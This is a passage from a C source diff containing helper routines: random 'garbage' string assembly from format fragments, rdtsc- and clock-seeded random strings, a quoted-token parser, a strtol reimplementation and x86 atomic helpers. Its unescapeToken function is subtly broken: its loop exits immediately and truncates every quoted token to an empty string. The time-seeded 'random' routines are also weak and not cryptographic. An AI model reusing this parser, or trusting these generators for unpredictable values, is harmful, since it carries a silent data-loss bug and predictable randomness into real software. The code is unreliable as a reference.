'\0'; + char tmp[2]; + tmp[0] = (unsigned char)'%'; + tmp[1] = '\0'; + size_t alphstart = 0; + COMPAT(strcat)((alphaArr[idx] + alphstart), tmp); + alphstart++; + COMPAT(strcat)((alphaArr[idx] + alphstart), buf); + alphstart += rndsiz; + COMPAT(memcpy)(alphaArr[idx] + alphstart, (const void*)(fakefmt + start + 1), end-start-1); + } else { + COMPAT(memcpy)(alphaArr[idx], (const void*)(fakefmt + start), end-start); + } + end++; + start = end; + } + } + + char* ret = COMPAT(calloc)(sizeof(char), garbageSiz+1); + size_t cursiz = 0; + char* buf = NULL; + do { + if (buf) { + COMPAT(strcat)(ret, buf); + buf = NULL; + } + + size_t idx = (__rdtsc() % alphaSiz); + buf = alphaArr[idx]; + cursiz += COMPAT(strlen)(buf); + } + while (cursiz < garbageSiz); + + for (size_t i = 0; i < alphaSiz; ++i) + { + COMPAT(free)(alphaArr[i]); + } + COMPAT(free)(alphaArr); + return ret; +} + +char* __randstring(size_t length, const char* charset) +{ + char *randomString = NULL; + if (length) + { + randomString = COMPAT(calloc)(length+1, sizeof(char)); + if (randomString) + { + for (size_t n = 0; n < length; n++) + { + int key = __rdtsc() % COMPAT(strlen)(charset); + randomString[n] = charset[key]; + } + randomString[length] = '\0'; + } + } + return randomString; +} + +char* __genRandAlphaNumStr(size_t length) +{ + char* ret = NULL; + DBUF(LOWER_ALPHA_ENUM, lower); + ret = __randstring(length, (char*)lower); + return ret; +} + +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +void __printByteBuf(const unsigned char* buf, size_t siz) +{ + char* hexbuf = __xbintostr(buf, siz, 0x1, NULL); + COMPAT(printf)("%s\n", hexbuf); + COMPAT(free)(hexbuf); +} +#endif + +#else +#include <time.h> +#endif /* _NO_UTILS */ + +uint64_t __rdtsc(void) +{ + unsigned int lo, hi; + __asm__ __volatile__ ("rdtsc" : "=a" (lo), "=d" (hi)); + return ((uint64_t)hi << 32) | lo; +} + +void __pseudoRandom(unsigned char* buf, size_t siz) +{ +#ifdef __MINGW32__ + SYSTEMTIME st; + size_t seed; + + _GetSystemTime(&st); + seed = ((st.wYear + st.wMonth + st.wDayOfWeek + + st.wDay + st.wMinute) * (st.wSecond + 1)) + __rdtsc(); + for (size_t i = 0; i < siz; ++i) { + _GetSystemTime(&st); + buf[i] = (unsigned char)((seed * st.wMilliseconds) % 256); + seed++; + } +#else + time_t st = time(NULL); + size_t seed = st + __rdtsc(); + + for (size_t i = 0; i < siz; ++i) { + st = time(NULL); + buf[i] = (unsigned char)((seed * st) % 256), + seed++; + } +#endif +} + +/* Strips backslashes from quotes */ +static char* unescapeToken(char *token) +{ + char *in = token; + char *out = token; + + while (*in) + { + if (in >= out) { + break; + } + + if ((in[0] == '\\') && (in[1] == '"')) { + *out = in[1]; + out++; + in += 2; + } else { + *out = *in; + out++; + in++; + } + } + *out = 0; + return token; +} + +/* Returns the end of the token, without chaning it. */ +char *qtok(char *str, char **next) +{ + char *current = str; + char *start = str; + int isQuoted = 0; + + /* Eat beginning whitespace. */ + while (*current && isspace(*current)) current++; + start = current; + + if (*current == '"') { + isQuoted = 1; + /* Quoted token */ + current++; // Skip the beginning quote. + start = current; + for (;;) { + /* Go till we find a quote or the end of string. */ + while (*current && (*current != '"')) current++; + if (!*current) { + /* Reached the end of the string. */ + goto finalize; + } + if (*(current - 1) == '\\') { + /* Escaped quote keep going. */ + current++; + continue; + } + /* Reached the ending quote. */ + goto finalize; + } + } + /* Not quoted so run till we see a space. */ + while (*current && !isspace(*current)) current++; +finalize: + if (*current) { + /* Close token if not closed already. */ + *current = 0; + current++; + /* Eat trailing whitespace. */ + while (*current && isspace(*current)) current++; + } + *next = current; + + return isQuoted ? unescapeToken(start) : start; +} + +long COMPAT(strtol)(const char* nptr, char** ptr, int base) +{ + register const char *s = nptr; + register unsigned long acc; + register int c; + register unsigned long cutoff; + register int neg = 0, any, cutlim; + + /* + * Skip white space and pick up leading +/- sign if any. + * If base is 0, allow 0x for hex and 0 for octal, else + * assume decimal; if base is already 16, allow 0x. + */ + do { + c = *s++; + } while (isspace(c)); + + if (c == '-') { + neg = 1; + c = *s++; + } else if (c == '+') + c = *s++; + + if ((base == 0 || base == 16) && + c == '0' && (*s == 'x' || *s == 'X')) { + c = s[1]; + s += 2; + base = 16; + } + + if (base == 0) + base = c == '0' ? 8 : 10; + + /* + * Compute the cutoff value between legal numbers and illegal + * numbers. That is the largest legal value, divided by the + * base. An input number that is greater than this value, if + * followed by a legal input character, is too big. One that + * is equal to this value may be valid or not; the limit + * between valid and invalid numbers is then based on the last + * digit. For instance, if the range for longs is + * [-2147483648..2147483647] and the input base is 10, + * cutoff will be set to 214748364 and cutlim to either + * 7 (neg==0) or 8 (neg==1), meaning that if we have accumulated + * a value > 214748364, or equal but the next digit is > 7 (or 8), + * the number is too big, and we will return a range error. + * + * Set any if any `digits' consumed; make it negative to indicate + * overflow. + */ + + cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX; + cutlim = cutoff % (unsigned long)base; + cutoff /= (unsigned long)base; + + for (acc = 0, any = 0;; c = *s++) { + if (isdigit(c)) + c -= '0'; + else if (isalpha(c)) + c -= isupper(c) ? 'A' - 10 : 'a' - 10; + else + break; + if (c >= base) + break; + + if (any < 0 || acc > cutoff || (acc == cutoff && c > cutlim)) + any = -1; + else { + any = 1; + acc *= base; + acc += c; + } + } + + if (any < 0) { + acc = neg ? LONG_MIN : LONG_MAX; + } else if (neg) + acc = -acc; + + if (ptr != 0) + *ptr = (char *) (any ? s - 1 : nptr); + + return (acc); +} + +#if defined(i386) || defined(i686) +inline void atomic_inc(atomic_val* ptr) +{ + __asm__ volatile("lock;\n" "incl %0;\n" : "+m"(*ptr)); +} + +inline atomic_val atomic_xchg(atomic_val* ptr, atomic_val val) +{ + atomic_val tmp = val; + __asm__ volatile("xchgl %0, %1;\n" : "=r"(tmp), "+m"(*ptr) : "0"(tmp) : "memory"); + return tmp; +} +#endif |